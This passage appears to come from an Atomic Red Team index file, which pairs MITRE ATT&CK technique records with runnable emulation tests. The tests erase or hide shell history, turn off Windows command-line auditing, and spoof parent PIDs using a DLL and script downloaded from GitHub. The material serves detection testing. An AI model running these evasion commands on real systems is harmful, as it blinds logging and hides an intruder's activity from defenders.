out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero. supported_platforms: - linux executor: name: bash elevation_required: false command: | TEST=$(echo $HISTFILESIZE) echo $HISTFILESIZE export HISTFILESIZE=0 if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo "\$HISTFILESIZE is zero"; fi # -> $HISTFILESIZE is zero cleanup_command: 'export HISTCONTROL=$(echo $TEST) ' - name: Setting the HISTSIZE environment variable auto_generated_guid: 386d3850-2ce7-4508-b56b-c0558922c814 description: | An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero. supported_platforms: - linux executor: name: sh elevation_required: false command: | echo $HISTSIZE export HISTSIZE=0 if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; fi # -> $HISTSIZE is zero cleanup_command: 'export HISTSIZE=100 ' - name: Setting the HISTFILE environment variable auto_generated_guid: b3dacb6c-a9e3-44ec-bf87-38db60c5cad1 description: | An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null. supported_platforms: - linux executor: name: bash elevation_required: false command: | TEST=$(echo $HISTFILE) echo $HISTFILE export HISTFILE="/dev/null" if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi # -> $HISTFILE is /dev/null cleanup_command: 'export HISTFILE=$(echo $TEST) ' - name: Setting the HISTFILE environment variable (freebsd) auto_generated_guid: f7308845-6da8-468e-99f2-4271f2f5bb67 description: | An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null. supported_platforms: - linux executor: name: sh elevation_required: false command: | echo $HISTFILE export HISTFILE="/dev/null" if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi # -> $HISTFILE is /dev/null cleanup_command: 'export HISTFILE=~/.sh_history ' - name: Setting the HISTIGNORE environment variable auto_generated_guid: f12acddb-7502-4ce6-a146-5b62c59592f1 description: "An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. \n\nIn this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.\n" supported_platforms: - linux executor: name: bash elevation_required: false command: "if ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='ls*:rm*:ssh*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\n# -> $HISTIGNORE = ls*:rm*:ssh*\nhistory -c \nls -la $HISTFILE\nls -la ~/.bash_logout\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls commands are not in history\"; fi\n# -> ls commands are not in history\nunset HISTIGNORE\n\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\n# -> $HISTIGNORE = *\nhistory -c \nwhoami\ngroups\nif [ $(history |wc -l) -eq 0 ]; then echo \"History cache is empty\"; fi\n# -> History cache is empty\n" cleanup_command: 'unset HISTIGNORE ' - name: Disable Windows Command Line Auditing using reg.exe auto_generated_guid: 1329d5ab-e10e-4e5e-93d1-4d907eb656e5 description: "In Windows operating systems, command line auditing is controlled through the following registry value:\n\n Registry Path: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\n \ \n Registry Value: ProcessCreationIncludeCmdLine_Enabled\n\nWhen command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.\nThis information is crucial for security monitoring and forensic analysis, as it helps organizations detect and investigate unauthorized or malicious activities within their systems.\nBy default, command line auditing may not be enabled in Windows systems, and administrators must manually configure the appropriate registry settings to activate it.\nConversely, attackers may attempt to tamper with these registry keys to disable command line auditing, as part of their efforts to evade detection and cover their tracks while perpetrating malicious activities.\n\nBecause this attack executes reg.exe using a command prompt, this attack can be detected by monitoring both:\n Process Creation events for reg.exe (Windows Event ID 4688, Sysmon Event ID 1)\n Registry events (Windows Event ID 4657, Sysmon Event ID 13)\n\nRead more here:\nhttps://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-220703123711.html\n" supported_platforms: - windows executor: name: command_prompt elevation_required: true command: 'reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f ' cleanup_command: 'reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f ' - name: Disable Windows Command Line Auditing using Powershell Cmdlet auto_generated_guid: 95f5c72f-6dfe-45f3-a8c1-d8faa07176fa description: "In Windows operating systems, command line auditing is controlled through the following registry value:\n\n Registry Path: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\n \ \n Registry Value: ProcessCreationIncludeCmdLine_Enabled\n\nWhen command line auditing is enabled, the system records detailed information about command execution, including the command executed, the user account responsible for executing the command, and the timestamp of the execution.\nThis information is crucial for security monitoring and forensic analysis, as it helps organizations detect and investigate unauthorized or malicious activities within their systems.\nBy default, command line auditing may not be enabled in Windows systems, and administrators must manually configure the appropriate registry settings to activate it.\nConversely, attackers may attempt to tamper with these registry keys to disable command line auditing, as part of their efforts to evade detection and cover their tracks while perpetrating malicious activities.\n\nBecause this attack runs a Powershell cmdlet, this attack can be detected by monitoring both:\n Powershell Logging (Windows Powershell Event ID 400, 800, 4103, 4104)\n \ Registry events (Windows Event ID 4657, Sysmon Event ID 13)\n\nRead more here:\nhttps://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-220703123711.html\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-itemproperty?view=powershell-7.4#example-2-add-a-registry-entry-to-a-key\n" supported_platforms: - windows executor: name: powershell elevation_required: true command: 'New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore ' cleanup_command: 'New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1 -PropertyType DWORD -Force -ErrorAction Ignore ' T1556.008: technique: modified: '2023-10-31T14:00:00.188Z' name: Network Provider DLL description: "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - CrowdStrike Falcon OverWatch - Jai Minton x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: OS API Execution' - 'File: File Creation' type: attack-pattern id: attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04 created: '2023-03-30T22:45:00.431Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/008 external_id: T1556.008 - source_name: NPPSPY - Huntress description: " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023." url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy - source_name: NPPSPY Video description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023. url: https://www.youtube.com/watch?v=ggY3srD9dYs - source_name: NPPSPY description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023. url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy - source_name: Network Provider API description: Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api - source_name: NPLogonNotify description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1497.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Deloitte Threat Library Team object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938 type: attack-pattern created: '2020-03-06T21:04:12.454Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1497.002 url: https://attack.mitre.org/techniques/T1497/002 - source_name: Deloitte Environment Awareness url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. - source_name: Sans Virtual Jan 2016 url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. - source_name: Unit 42 Sofacy Nov 2018 url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. source_name: FireEye FIN7 April 2017 modified: '2022-04-25T14:00:00.188Z' name: User Activity Based Checks description: "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: 'User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary''s implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ' x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Static File Analysis - Signature-based detection - Host forensic analysis spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1134.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Wayne Silva, F-Secure Countercept object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a created: '2020-02-18T18:22:41.448Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1134.004 url: https://attack.mitre.org/techniques/T1134/004 - source_name: XPNSec PPID Nov 2017 url: https://blog.xpnsec.com/becoming-system/ description: Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019. - source_name: CounterCept PPID Spoofing Dec 2018 url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/ description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019. - source_name: Microsoft UAC Nov 2018 url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works description: Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019. - source_name: Microsoft Process Creation Flags May 2018 url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019. - source_name: Secuirtyinbits Ataware3 May 2019 url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019. - source_name: DidierStevens SelectMyParent Nov 2009 url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.' - source_name: CTD PPID Spoofing Macro Mar 2019 url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019. x_mitre_deprecated: false revoked: false description: |- Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018) Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018) Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Access Token Manipulation: Parent PID Spoofing' x_mitre_detection: |- Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Process: Process Metadata' x_mitre_permissions_required: - User - Administrator x_mitre_defense_bypassed: - Heuristic Detection - Host Forensic Analysis x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1134.004 atomic_tests: - name: Parent PID Spoofing using PowerShell auto_generated_guid: '069258f4-2162-46e9-9a25-c9c6c56150d2' description: | This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process. Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and calc.exe will be launched. Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1) supported_platforms: - windows input_arguments: parent_process_name: description: Name of the parent process type: string default: explorer spawnto_process_path: description: Path of the process to spawn type: path default: C:\Program Files\Internet Explorer\iexplore.exe dll_process_name: description: Name of the created process from the injected dll type: string default: calculator dll_path: description: Path of the dll to inject type: path default: PathToAtomicsFolder\T1134.004\bin\calc.dll spawnto_process_name: description: Name of the process to spawn type: string default: iexplore dependency_executor_name: powershell dependencies: - description: 'DLL to inject must exist on disk at specified location (#{dll_path}) ' prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}" - description: 'PPID.ps1 must exist on disk at $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1 ' prereq_command: 'if (Test-Path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1" -OutFile "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1" executor: command: | . "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1" $ppid=Get-Process #{parent_process_name} | select -expand id PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}" cleanup_command: | Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore name: powershell - name: Parent PID Spoofing - Spawn from Current Process auto_generated_guid: 14920ebd-1d61-491a-85e0-fe98efe37f25 description: Spawns a powershell.exe process as a child of the current process. supported_platforms: - windows input_arguments: file_path: description: File path or name of process to spawn type: path default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" parent_pid: description: PID of process to spawn from type: string default: "$PID" command_line: description: Specified command line to use type: string default: "-Command Start-Sleep 10" dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}'' -ParentId #{parent_pid}' name: powershell - name: Parent PID Spoofing - Spawn from Specified Process auto_generated_guid: cbbff285-9051-444a-9d17-c07cd2d230eb description: Spawns a notepad.exe process as a child of the current process. supported_platforms: - windows input_arguments: parent_pid: description: PID of process to spawn from type: string default: "$PID" test_guid: description: Defined test GUID type: string default: 12345678-1234-1234-1234-123456789123 dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}' name: powershell - name: Parent PID Spoofing - Spawn from svchost.exe auto_generated_guid: e9f2b777-3123-430b-805d-5cedc66ab591 description: Spawnd a process as a child of the first accessible svchost.exe process. supported_platforms: - windows input_arguments: command_line: description: Specified command line to use type: string default: "-Command Start-Sleep 10" file_path: description: File path or name of process to spawn type: path default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter "Name = ''svchost.exe'' AND CommandLine LIKE ''%''" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}''' name: powershell - name: Parent PID Spoofing - Spawn from New Process auto_generated_guid: 2988133e-561c-4e42-a15f-6281e6a9b2db description: Creates a notepad.exe process and then spawns a powershell.exe process as a child of it. supported_platforms: - windows input_arguments: command_line: description: Specified command line to use type: string default: "-Command Start-Sleep 10" file_path: description: File path or name of process to spawn type: path default: "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" parent_name: description: Parent process to spoof from type: path default: "$Env:windir\\System32\\notepad.exe" dependencies: - description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine ''#{command_line}''' name: powershell T1055.014: technique: x_mitre_platforms: - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5 created: '2020-01-14T01:35:00.781Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1055.014 url: https://attack.mitre.org/techniques/T1055/014 - source_name: Backtrace VDSO url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/ description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020. - source_name: Syscall 2014 url: https://lwn.net/Articles/604515/ description: Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020. - source_name: GNU Acct url: https://www.gnu.org/software/acct/ description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. - source_name: RHEL auditd url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. - source_name: ArtOfMemoryForensics description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' - source_name: ELF Injection May 2009 url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020. - source_name: VDSO Aug 2005 url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/ description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020. - source_name: Chokepoint preload rootkits url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. x_mitre_deprecated: false revoked: false description: "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. " modified: '2022-11-08T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: VDSO Hijacking x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: OS API Execution' - 'Module: Module Load' x_mitre_defense_bypassed: - Anti-virus - Application control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1574.010: technique: modified: '2023-05-09T14:00:00.188Z' name: Services File Permissions Weakness description: |- Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak x_mitre_detection: "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: 